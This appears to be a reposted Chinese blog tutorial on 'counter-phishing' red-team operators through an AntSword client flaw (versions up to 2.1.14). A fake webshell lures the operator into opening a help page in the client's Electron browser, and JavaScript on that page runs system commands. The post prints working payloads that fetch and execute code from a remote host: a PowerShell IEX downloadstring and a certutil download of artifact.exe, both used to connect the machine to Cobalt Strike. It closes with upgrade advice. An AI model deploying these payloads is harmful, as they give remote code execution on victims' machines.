利用蚁剑钓鱼上线CS

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

图片

图片

 

反制复现

环境准备:

红队 蓝队
IP 192.168.108.220 192.168.108.150
版本 蚁剑 Cobalt Strike

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩

<body>
AntSword password admin
</body>
</html>

图片

图片

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

图片

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线

<script type="text/javascript">
 require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下载文件方式上线CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>

图片

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

可以自行编写攻击者点击钓鱼链接时的话术

图片

2、红队开始利用蚁剑进行连接

图片

模拟红队的文件浏览页面

图片

图片

模拟红队的命令行操作回显

图片

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

图片

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

图片

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

修复建议

1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。

相关推荐

  1. 利用Cas中service重定向钓鱼网站问题

    2024-01-05 16:28:01       47 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-05 16:28:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-05 16:28:01       101 阅读
  3. 在Django里面运行非项目文件

    2024-01-05 16:28:01       82 阅读
  4. Python语言-面向对象

    2024-01-05 16:28:01       91 阅读

热门阅读

  1. gradio-osprey-demo

    2024-01-05 16:28:01       55 阅读
  2. Linux - 清理僵尸进程

    2024-01-05 16:28:01       60 阅读
  3. SQL的一些基本语句

    2024-01-05 16:28:01       57 阅读
  4. 【Git】Git版本控制工具使用详解

    2024-01-05 16:28:01       54 阅读
  5. 如何实现服务器主动向客户端推送实时数据

    2024-01-05 16:28:01       60 阅读
  6. Spring基于注解的IOC配置

    2024-01-05 16:28:01       59 阅读
  7. go 语言中 channel 的简单介绍

    2024-01-05 16:28:01       51 阅读
  8. Scrapy 1.3.0 使用简介

    2024-01-05 16:28:01       56 阅读
  9. [蓝桥杯 2016枚举]回文日期

    2024-01-05 16:28:01       51 阅读
  10. 谷歌地图搜索功能的bug

    2024-01-05 16:28:01       61 阅读
  11. hyper-V的虚拟磁盘扩容

    2024-01-05 16:28:01       57 阅读
  12. Typescript基础知识:函数类型和箭头函数

    2024-01-05 16:28:01       47 阅读
  13. chip-seq测序分析流程

    2024-01-05 16:28:01       59 阅读
  14. 【LeetCode】1164. 指定日期的产品价格

    2024-01-05 16:28:01       60 阅读
  15. mysql:SQL按时间查询方法总结

    2024-01-05 16:28:01       54 阅读
  16. centos7安装docker(包含yum配置阿里云镜像源)

    2024-01-05 16:28:01       62 阅读
  17. 解决.gitignore文件无效问题

    2024-01-05 16:28:01       55 阅读